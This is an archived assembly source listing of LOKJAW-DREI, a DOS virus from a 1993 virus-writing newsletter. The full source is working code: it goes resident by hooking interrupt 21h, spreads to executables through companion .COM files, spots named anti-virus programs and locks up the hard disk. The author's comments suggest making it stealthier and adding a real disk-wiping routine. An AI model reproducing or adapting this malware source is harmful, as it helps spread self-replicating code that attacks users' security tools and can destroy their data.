home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CRYPT12.ZIP / LOKJAWD.ASM < prev    next >
Assembly Source File  |  1993-01-28  |  16KB  |  560 lines

  1. ;LOKJAW-DREI: an .EXE-infecting spawning virus with retaliatory 
  2. ;anti-anti-virus capability.  For Crypt Newsletter 12, Feb. 1993.               
  3. ;
  4. ;LOKJAW-DREI is a resident spawning virus which installs itself in
  5. ;memory using the same engine as the original Civil War/Proto-T virus.
  6. ;It is simpler in that none of its addresses have to be 
  7. ;relative, an indirect benefit of the fact that the virus has no 
  8. ;"appending" quality.  That means, LOKJAW doesn't alter its "host" files,
  9. ;just like a number of other companion/spawning viruses published in
  10. ;previous newsletters.
  11. ;
  12. ;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating 
  13. ;itself as companion .COMfile to the "host."  Due to the inherent rules
  14. ;of DOS, this ensures the virus will be executed before the "host" the
  15. ;next time the infected program is used.  In reality, LOKJAW is even
  16. ;simpler than that.  If not in memory, the first time the host is
  17. ;called, LOKJAW will go resident and not even bother to load it.
  18. ;In most cases, the user will assume a slight error and call the host
  19. ;again, at which point it will function normally. LOKJAW will then infect
  20. ;every subsequent .EXE file called. LOKJAW is very transparent in operation,
  21. ;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
  22. ;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
  23. ;
  24. ;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
  25. ;retaliating virus by quickly deleting the anti-virus program before it
  26. ;can execute and then displaying a "chomping" graphic.  Even if the anti-
  27. ;virus program cannot detect LOKJAW in memory, it will be deleted.  This
  28. ;makes it essential that the user know how to either remove the virus from
  29. ;memory before beginning anti-virus measures, or at the least run the
  30. ;anti-virus component from a write-protected disk. At a time when retail
  31. ;anti-virus packages are becoming more complicated - and more likely that the
  32. ;average user will run them from default installations on his hard file -
  33. ;LOKJAW's retaliating power makes it a potentially very annoying pest.
  34. ;A virus-programmer serious about inconveniencing a system could do a
  35. ;number of things with this basic idea. They are;
  36. ; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
  37. ; instantly.
  38. ; 2. Alter the_stinger routine, so that the virus immediately attacks the
  39. ; hard file.  The implementation is demonstrated by LOKJAW-DREI, which
  40. ; merely makes the disk inaccessible until a warm reboot if an anti-virus
  41. ; program is employed against it.  By placing
  42. ; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
  43. ; an unknowing user to employ anti-virus measures on a machine where
  44. ; LOKJAW or a LOKJAW-like program is memory resident. While LOCKAW and
  45. ; LOKJAW-ZWEI will produce write-protect errors if an anti-virus program
  46. ; is run against them from a write-protected diskette, LOKJAW-DREI
  47. ; won't.  It will recognize the anti-virus program, display the "chomp"
  48. ; and mimic trashing the hard file. This effect makes the disk inacessible
  49. ; until the machine is rebooted.
  50. ;
  51. ;The anti-anti-virus strategies are becoming more common in viral programming.                 
  52. ;Mark Ludwig programmed the features of a direct-action retaliating
  53. ;virus in his "Computer Virus Developments Quarterly."  Peach, Groove and
  54. ;Encroacher viruses attack anti-virus software by deletion of key files. 
  55. ;And in this issue, the Sandra virus employs a number 
  56. ;of anti-anti-virus features. 
  57. ;
  58. ;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and                
  59. ;DREI infected files from a system, simply delete the "companion" .COM 
  60. ;duplicates of your executables.  Ensure that the machine has been booted
  61. ;from a clean disk.  To remove the LOKJAW .COM-appending virus, at this
  62. ;time it will be necessary for you to restore the contaminated files from
  63. ;a clean back-up.
  64. ;
  65. ;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
  66. ;files in plain sight.  Generally, spawning viruses make themselves
  67. ;hidden-read-only-system files.  This is an easy hack and the code is supplied
  68. ;in earlier issues of the newsletter.  The modification is left to 
  69. ;the reader as an academic exercise.
  70.  
  71.         
  72.         .radix 16
  73.      cseg       segment
  74.         model  small
  75.         assume cs:cseg, ds:cseg, es:cseg
  76.  
  77.         org 100h
  78.  
  79. oi21            equ endit
  80. filelength      equ endit - begin
  81. nameptr         equ endit+4
  82. DTA             equ endit+8
  83.  
  84.      
  85.  
  86.  
  87.  
  88.  
  89. begin:          jmp     virus_install                              
  90.  
  91. note:            
  92.         db     '[lÖçk⌡äW-dΓÉì].ߥ.Ürπ$┼ådëMû$'
  93.         db     '┼Hï$.pΓÖGΓåm.î$.à.{pΓÖ┼ö-┼].√âΓïåñ┼,$ôΓ┼.öƒ.'
  94.         db     'ÇΓÿ₧.Ñëw$└Σ╫εΓ'  ;I.D. note: will doubtless
  95.                      ;show up in VSUM
  96.         
  97.  
  98.                          ;install
  99. virus_install:  mov     ax,cs                    ; reduce memory size     
  100.         dec     ax                           
  101.         mov     ds,ax                        
  102.         cmp     byte ptr ds:[0000],5a        
  103.         jne     cancel                        
  104.         mov     ax,ds:[0003]                 
  105.         sub     ax,100                        
  106.         mov     ds:0003,ax
  107. Zopy_virus:  
  108.         mov     bx,ax                    ; copy to claimed block  
  109.         mov     ax,es                        
  110.         add     ax,bx                       
  111.         mov     es,ax
  112.         mov     cx,offset endit - begin                    
  113.         mov     ax,ds                       
  114.         inc     ax
  115.         mov     ds,ax
  116.         lea     si,ds:[begin]            
  117.         lea     di,es:0100                  
  118.         rep     movsb                       
  119.                             
  120.  
  121.  
  122. Grab_21:                                     
  123.         
  124.         mov     ds,cx                   ; hook int 21h
  125.         mov     si,0084h                ; 
  126.         mov     di,offset oi21
  127.         mov     dx,offset check_exec
  128.         lodsw
  129.         cmp     ax,dx                   ;
  130.         je      cancel                  ; exit, if already installed
  131.         stosw
  132.         movsw
  133.         
  134.         push    es 
  135.         pop     ds
  136.         mov     ax,2521h                ; revector int 21h to virus
  137.         int     21h
  138.                      
  139. cancel:         ret          
  140.  
  141. check_exec:     
  142.         pushf
  143.  
  144.         push    es                     ; push everything onto the
  145.         push    ds                     ; stack
  146.         push    ax
  147.         push    bx
  148.         push    dx
  149.  
  150.         cmp     ax,04B00h               ; is the file being 
  151.         
  152.         
  153.         
  154.         jne     abort                   ; executed?
  155.         
  156.         
  157.  
  158.  
  159.                          ;if yes, try the_stinger
  160. do_infect:      call    infect                  ; then try to infect
  161.         
  162.         
  163.                   
  164.  
  165. abort:                                        ; restore everything
  166.         pop     dx
  167.         pop     bx
  168.         pop     ax
  169.         pop     ds
  170.         pop     es
  171.         popf
  172.  
  173. Bye_Bye:      
  174.                    ; exit
  175.         jmp     dword ptr cs:[oi21]                     
  176.  
  177.  
  178. new_24h:        
  179.         mov     al,3             ; critical error handler
  180.         iret
  181.  
  182. infect:          
  183.         mov     cs:[name_seg],ds       ; here, the virus essentially
  184.         mov     cs:[name_off],dx       ; copies the name of the
  185.         
  186.         cld                            ; loaded file into a buffer
  187.         mov     di,dx                  ; so that it can be compared
  188.         push    ds                     ; against the default names
  189.         pop     es                     ; in the_stinger
  190.         mov     al,'.'                 ; subroutine 
  191.         repne   scasb                  ; <-- 
  192.         
  193.         call    the_stinger            ; check for anti-virus load
  194.                            ; and deploy the_stinger
  195.         
  196.         
  197.         
  198.         cld
  199.         mov     word ptr cs:[nameptr],dx
  200.         mov     word ptr cs:[nameptr+2],ds
  201.  
  202.         mov     ah,2Fh
  203.         int     21h
  204.         push    es
  205.         push    bx
  206.  
  207.         push    cs
  208.  
  209.         pop     ds
  210.         mov     dx,offset DTA
  211.         mov     ah,1Ah
  212.         int     21h
  213.  
  214.         call    searchpoint
  215.         push    di
  216.         mov     si,offset COM_txt
  217.  
  218.         mov     cx,3
  219.      rep    cmpsb 
  220.         pop     di
  221.         jz      do_com
  222.         mov     si,offset EXE_txt
  223.         nop
  224.         mov     cl,3
  225.         rep     cmpsb
  226.         jnz     return
  227.  
  228. do_exe:         mov     si,offset COM_txt
  229.         nop
  230.         call    change_ext
  231.         mov     ax,3300h
  232.         nop
  233.         int     21h
  234.         push    dx
  235.  
  236.         cwd
  237.         inc     ax
  238.         push    ax
  239.         int     21h
  240.  
  241. Grab24h:        
  242.         
  243.         mov     ax,3524h         
  244.         int     21h        
  245.         push    bx
  246.         push    es
  247.         push    cs
  248.         pop     ds
  249.         mov     dx,offset new_24h
  250.         mov     ah,25h
  251.         push    ax
  252.         int     21h
  253.         
  254.         
  255.         lds     dx,dword ptr [nameptr]  ;create the virus (unique name)
  256.         xor     cx,cx
  257.         mov     ah,05Bh
  258.         int     21
  259.         jc      return1                 
  260.         xchg    bx,ax                   ;save handle
  261.         
  262.  
  263.  
  264.         push    cs
  265.         pop     ds
  266.         mov     cx,filelength          ;cx= length of virus
  267.         mov     dx,offset begin        ;where to start copying
  268.         mov     ah,40h                 ;write the virus to the 
  269.         int     21h                    ;new file
  270.  
  271.         mov     ah,3Eh                 ; close
  272.         int     21h
  273.  
  274. return1:        pop     ax
  275.         pop     ds
  276.         pop     dx
  277.         int     21h
  278.         
  279.         pop     ax
  280.         pop     dx
  281.         int     21h
  282.         
  283.         mov     si,offset EXE_txt
  284.         call    change_ext
  285.         
  286. return:         mov     ah,1Ah
  287.         pop     dx
  288.         pop     ds
  289.         int      21H
  290.  
  291.         ret
  292.  
  293. do_com:         call    findfirst                 
  294.         cmp     word ptr cs:[DTA+1Ah],endit - begin
  295.         jne     return
  296.         mov     si,offset EXE_txt
  297.         call    change_ext
  298.         call    findfirst
  299.         jnc     return
  300.         mov     si,offset COM_txt
  301.         call    change_ext
  302.         jmp     short return
  303.  
  304. searchpoint:    les     di,dword ptr cs:[nameptr]
  305.         mov     ch,0FFh
  306.         mov     al,0
  307.      repnz  scasb
  308.         sub     di,4
  309.         ret
  310. change_ext:     call    searchpoint
  311.         push    cs
  312.         pop     ds
  313.         movsw
  314.         movsw
  315.         ret
  316.  
  317. findfirst:      lds     dx,dword ptr [nameptr]
  318.         mov     cl,27h
  319.         mov     ah,4Eh
  320.         int     21h
  321.         ret
  322.              
  323. the_stinger:
  324.         cmp     word ptr es:[di-3],'MI'    ;Integrity Master
  325.         je      jumptoass                
  326.         
  327.         cmp     word ptr es:[di-3],'XR'    ;VIRX
  328.         je      jumptoass                
  329.         
  330.         cmp     word ptr es:[di-3],'PO'    ;VIRUSTOP
  331.         jne     next1                     
  332.         cmp     word ptr es:[di-5],'TS'   
  333.         je      jumptoass                
  334.  
  335. next1:          cmp     word ptr es:[di-3],'VA'    ;AV = CPAV
  336.         je      jumptoass                     
  337.         
  338.         cmp     word ptr es:[di-3],'TO'    ;*prot = F-prot
  339.         jne     next2                
  340.         cmp     word ptr es:[di-5],'RP'  
  341.         je      jumptoass                     
  342.  
  343. next2:          cmp     word ptr es:[di-3],'NA'    ;*scan = McAfee's Scan.
  344.         jne     next3                
  345.         cmp     word ptr es:[di-5],'CS'  
  346.         je      jumptoass                     
  347.         
  348.         cmp     word ptr es:[di-3],'NA'    ;*lean = McAfee's CLEAN.
  349.         jne     next3                      ; why not, eh?
  350.         cmp     word ptr es:[di-5],'EL'  
  351.         je      jumptoass                     
  352. next3:          ret                
  353. jumptoass:      jmp     chomp                   ;assassination (deletion)
  354.                         ; of anti-virus program
  355. chomp:
  356.         push    cs                           ; chomper visual
  357.         pop     ds
  358.         mov     ah, 03h
  359.         int     10h
  360.         mov     [c1], bh                   ; save cursor 
  361.         mov     [c2], dh 
  362.         mov     [c3], dl 
  363.         mov     [c4], ch 
  364.         mov     [c5], cl 
  365.         mov     ah, 1
  366.         mov     cl, 0
  367.         mov     ch, 40h                 
  368.         int     10h                    
  369.                            
  370.         mov     cl, 0
  371.         mov     dl, 4Fh                 
  372.         mov     ah, 6
  373.         mov     al, 0
  374.         mov     bh, 0Fh
  375.         mov     ch, 0
  376.         mov     cl, 0
  377.         mov     dh, 0
  378.         mov     dl, 4Fh                 
  379.         int     10h                    
  380.                            
  381.         mov     ah, 2
  382.         mov     dh, 0
  383.         mov     dl, 1Fh
  384.         mov     bh, 0
  385.         int     10h                    
  386.                            
  387.         mov     dx,offset eyes           ; print the eyes
  388.         mov     ah, 9
  389.         mov     bl, 0Fh
  390.         int     21h                    
  391.                            
  392.         mov     ah, 2
  393.         mov     dh, 1
  394.         mov     dl, 0
  395.         int     10h                    
  396.                            
  397.         mov     ah, 9
  398.         mov     al, 0DCh
  399.         mov     bl, 0Fh
  400.         mov     cx, 50h
  401.         int     10h                    
  402.                            
  403.         mov     ah, 2
  404.         mov     dh, 18h
  405.         mov     dl, 0
  406.         int     10h                    
  407.                            
  408.         mov     ah, 9
  409.         mov     al, 0DFh
  410.         mov     bl, 0Fh
  411.         mov     cx, 50h
  412.         int     10h                    
  413.                            
  414.         mov     dl, 0
  415. chomp_1:
  416.         mov     ah, 2
  417.         mov     dh, 2
  418.         int     10h                    
  419.                            
  420.         mov     ah, 9
  421.         mov     al, 55h                 
  422.         mov     bl, 0Fh
  423.         mov     cx, 1
  424.         int     10h                    
  425.                            
  426.         mov     ah, 2
  427.         mov     dh, 17h
  428.         inc     dl
  429.         int     10h                    
  430.                            
  431.         mov     ah, 9
  432.         mov     al, 0EFh
  433.         mov     bl, 0Fh
  434.         int     10h                    
  435.                            
  436.         inc     dl
  437.         cmp     dl, 50h                 
  438.         jl      chomp_1                  
  439.         mov     [data_1], 0
  440. chomp_3:
  441.         mov     cx, 7FFFh                    ; delays
  442.  
  443. locloop_4:
  444.         loop    locloop_4              
  445.  
  446.         inc     [data_1]
  447.         cmp     [data_1], 0Ah
  448.         jl      chomp_3                  
  449.         mov     [data_1], 0
  450.         mov     cl, 0
  451.         mov     dl, 4Fh                 
  452. chomp_5:
  453.         mov     ah, 6
  454.         mov     al, 1
  455.         mov     bh, [data_2]
  456.         mov     ch, 0Dh
  457.         mov     dh, 18h
  458.         int     10h                    
  459.                            
  460.         mov     ah, 7
  461.         mov     al, 1
  462.         mov     bh, [data_2]
  463.         mov     ch, 0
  464.         mov     dh, 0Ch
  465.         int     10h                    
  466.         mov     cx, 3FFFh                      ; delays
  467.  
  468. locloop_6:
  469.         loop    locloop_6              
  470.         inc     [data_1]
  471.         cmp     [data_1], 0Bh
  472.         jl      chomp_5                  
  473.         mov     [data_1], 0
  474. chomp_7:
  475.         mov     cx, 7FFFh                       ; delays
  476.  
  477. locloop_8:
  478.         loop    locloop_8              
  479.         inc     [data_1]
  480.         cmp     [data_1], 0Ah
  481.         jl      chomp_7                  
  482.         mov     ah, 6
  483.         mov     al, 0
  484.         mov     bh, [data_2]
  485.         mov     ch, 0
  486.         mov     cl, 0
  487.         mov     dh, 18h
  488.         mov     dl, 4Fh                 
  489.         int     10h                    
  490.                            
  491.         mov     cl, 7
  492.         mov     ch, 6
  493.         int     10h                    
  494.         
  495.         mov     ah, 2
  496.         mov     bh, [c1] 
  497.         mov     dh, [c2] 
  498.         mov     dl, [c3] 
  499.         int     10h
  500.         mov     al, bh
  501.         mov     ah, 5
  502.         int     10h
  503.         mov     ah, 1
  504.         mov     ch, [c4]
  505.         mov     cl, [c5]
  506.         int     10h
  507.         mov     ax, 0003h
  508.         int     10h                        ; sort of a cls
  509.         mov     ax, 00ffh
  510.         
  511.         mov     si,0              ;scarey part: drive reads real
  512. scarey:         lodsb                     ;fast ala Michelangelo-style
  513.         mov     ah,al             ;over-write, but this routine only
  514.         lodsb                     ;gets random bytes here for a 
  515.         and     al,3              ;cylinder to READ
  516.         mov     dl,80h
  517.         mov     dh,al
  518.         mov     ch,ah
  519.         mov     cl,1
  520.         mov     bx,offset last    ;buffer to read into
  521.         mov     ax,201h
  522.         int     13h      ;jump into a loop, effectively hang machine
  523.         jmp     short scarey      ;yow! scarey! just think if this
  524.                       ;was made by someone not as nice as
  525.                       ;me. 
  526.                       ;It's not much of a stretch to
  527.                       ;imagine a routine for thumping
  528.                       ;the hard file in place of scarey.
  529.                       ;A retaliating virus of this
  530.                       ;nature is a distinct 
  531.                       ;possibility.
  532.  
  533. EXE_txt         db  'EXE',0
  534. COM_txt         db  'COM',0
  535.  
  536. eyes            db      '(o)          (o)','$'  ; ASCII eyes of Lockjaw    
  537.  
  538. data_1          db      0
  539. data_2          db      0
  540.  
  541. last            db     090H
  542. name_seg        dw  ?
  543. name_off        dw  ?
  544.  
  545. c1              db       0          
  546. c2              db       0          
  547. c3              db       0          
  548. c4              db       0          
  549. c5              db       0          
  550. note2:          db      'Lokjaw-Drei'
  551.                
  552. endit:
  553.  
  554.  
  555. cseg            ends
  556.         end begin
  557.  
  558.  
  559.  
  560.